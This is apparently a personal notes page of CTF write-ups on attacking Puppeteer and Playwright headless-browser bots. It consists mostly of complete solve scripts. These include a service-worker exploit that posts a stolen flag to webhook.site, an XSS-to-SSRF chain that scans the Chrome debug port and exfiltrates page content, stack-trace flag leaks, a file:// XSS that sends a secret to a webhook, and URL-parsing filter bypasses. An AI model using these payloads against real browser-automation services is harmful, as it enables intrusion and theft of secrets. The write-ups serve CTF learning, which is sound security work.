Skip to content

Categories

Puppetter / playwright

The challenge idea is based on finding this issue: https://github.com/puppeteer/puppeteer/issues/13840Unitended, use window.playwright__binding("foobar") for crashing the playwringt and do leak from t...

Created

Updated

4 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Pupetter no internet escape and panic error

Event NameHaix la Chapelle
GitHub URL-
Challenge Nameno-internet-for-you
Attachments
References

The challenge idea is based on finding this issue: https://github.com/puppeteer/puppeteer/issues/13840

solve
import requests
import time

# config
HOST = "http://localhost:3000"

# setup request bucket
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
bucket_url = f"https://webhook.site/{bucket_id}"
bucket_visit_url = f"https://webhook.site/#!/view/{bucket_id}"

print(f"[*] Using request bucket: {bucket_visit_url}")

# execute exploit
SW = f"""
self.addEventListener("install", () => {{
    const params = new URL(self.location).searchParams;
    const flag = params.get('flag');
    fetch('{bucket_url}', {{ method: 'POST', body: flag }});
}});
"""

PIVOT = """
<script>
(async () => {
    await navigator.serviceWorker.register("/uploads/sw.js?flag=" + await window.lookAtThisBeautifulFlag(), { scope: "/uploads/" });
})();
</script>
"""

TRIGGER = """
<script>
    const body = document.createElement("body");
    document.children[0].appendChild(body);
    const pivotFrame = document.createElement("iframe");
    pivotFrame.src = "http://localhost:3000/uploads/pivot.html";
    body.appendChild(pivotFrame);
</script>
"""

for (name, content) in [("sw.js", SW), ("pivot.html", PIVOT), ("trigger.html", TRIGGER)]:
    r = requests.post(f"{HOST}/upload/{name}", data=content, headers={"Content-Type": "application/x-www-form-urlencoded"})
    r.raise_for_status()
    print("[+]", r.text)

# visit trigger to start the exploit
r = requests.post(f"{HOST}/visit/trigger.html")
r.raise_for_status()
print("[+]", r.text)

# wait for the flag
while True:
    # retrieve the flag from the request bucket
    r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
    data = r.json()["data"]
    if len(data) == 0:
        time.sleep(1)
        continue

    content = data[0]["content"]
    print(f"[*] FLAG: {content}")
    break

Unitended, use window.playwright__binding("foobar") for crashing the playwringt and do leak from there

SSRF lead to Chrome Debug port Exploit

Event NameUniVsThreats CTF 2025
GitHub URL-
Challenge NameBackrooms
Attachments
References

solver
import base64
import httpx
import asyncio

URL = "<http://91.99.1.179:57291>"
# URL = "<http://localhost:8080>"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def home(self):
        return self.c.get("/")

    def post(self, user_id: str, content: str, location: str = "Earth"):
        return self.c.post(f"/post", data={"content": content, "location": location}, cookies={"user": user_id})

    def report(self, user_id: str, post_id: str):
        return self.c.get(f"/share/{post_id}", cookies={"user": user_id})

class API(BaseAPI):
    ...

async def main():

    api = API()
    res = await api.home()
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    user_id = res.cookies["user"]
    # user_id = "constructor"
    payload = r"""
let webhook = "<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d>";
function report(data) {
    fetch(webhook, {
        method: "POST",
        body: data,
    });
}
function wsPromise(wsURL, onopen) {
    return new Promise((resolve, reject) => {
        window.ws = new WebSocket(wsURL);

        ws.onerror = (e) => {
            report("[ws.onerror] " + JSON.stringify(e));
            reject(e);
        };

        ws.onmessage = (e) => { resolve(e); };
        ws.onopen = () => ws.send(onopen);
    });
}
let payload = `
    let startPort = 30000;
    let endPort = 66000;
    let webhook = "${webhook}";

    function report(data) {
        fetch(webhook, {
            method: "POST",
            body: data
        });
    }

    (async () => {
        for (let port = startPort; port <= endPort; port++) {
            let ssrfUrl = \\`http://127.0.0.1:80/admin/doHttpReq?url=http://localhost:\\${port}/json/new?file:///app/logs/log-USER_ID.htm&method=PUT\\`;
            try {
                let res = await fetch(ssrfUrl);
                let text = await res.text();
                if (!text.includes("Internal Server Error")) {
                    report(text)
                }
            } catch (e) {}
        }
    })();`;
iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-modals"
iframe.srcdoc = "<script>eval(name)</script>"
iframe.name = payload
document.body.appendChild(iframe)

""".replace("USER_ID", user_id)
    payload = base64.b64encode(payload.encode()).decode()
    res = await api.post(user_id, "Hello, world!", "<img src=1 onerror=eval(atob(`" + payload + "`))>")
    print(res.text)
    res = await api.report(user_id, "1")
    print(res.text)


if __name__ == "__main__":
    asyncio.run(main())

it's xss -> csrf -> local file xss using pupetter debug port for csrf part i use iframe with sandbox to create null origin page

in puppeter you can change document element like this

ASIS CTF 2023 https://gist.github.com/arkark/5211049988c14af0e3450ff04acfc2a3#web-pupptear

        await page.goto(url,{ timeout: 2000 });        await page.waitForFunction(flag=>{
            let el = document.getElementById('flag')
            if(!el) return false            el.value = flag
            return true        },{ timeout: 2000 },flag)

solve:

<body><script>const HOOK_URL = "https://webhook.site/xxx";let sent = false;function hook() {
  if (sent) return;  sent = true;  const e = new Error();  navigator.sendBeacon(HOOK_URL, e.stack);}
document.getElementById = hook;</script></body>

puppettear

ASIS CTF 2023

if flag is execute after the url param, we can steal the flag using this. but it must throw error first using somethign like getElementById

https://gist.github.com/arkark/5211049988c14af0e3450ff04acfc2a3#web-pupptear

https://github.com/puppeteer/puppeteer/blob/e41a2656d9e1f3f037b298457fbd6c6e08f5a371/packages/puppeteer-core/src/cdp/ExecutionContext.ts#L73

<script>// window.a = 1337setTimeout(()=>{
    window['__ariaQuerySelector']('a').catch(e=>{
        fetch('?a='+btoa(e.stack))
    })
},1000)
</script>

sc:

        await page.goto(url,{ timeout: 2000 });        await page.waitForFunction(flag=>{
            let el = document.getElementById('flag')
            if(!el) return false            el.value = flag
            return true        },{ timeout: 2000 },flag)

If there’s no restriction in puppetter url we can do xss using file protocol

download:

<script>require = function() {}
</script><script src="file:///proc/self/cwd/bot.js"></script><script>fetch("https://webhook.site/1f1c6ea6-7d2c-42a3-8447-048a1b8df0c0?flag="+FLAG)
</script>```
and then

url=file:///root/Downloads/exploit.html ```

Something like this

    page.on('request', (request) => {
      requestCount++;
      let pageURL = page.url();
      if (!request.isNavigationRequest() || (pageURL !== 'about:blank' && pageURL !== request.url()) || requestCount !== 1) {
          request.continue();
          return;
      }
      const headers = request.headers();
      headers['X-CTF-From'] = 'HeadlessChrome';
      request.continue({
          headers
      });
    });

can be bypassed by something like this

use container name to bypass Untitled

http://1@web\.line.ctf/../read?passCode=ENNF>,<&noteId=aa245147-9823-4566-ad01-ffacbfa6f667&next=http://101.200.202.216/

we can do something like this too

  • ㎳g.line.ctf instead of msg.line.ctf
  • LINE CTF 2024 - web/one-time-read (github.com)

    Chromedriver RCE via localhost port enumeration

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.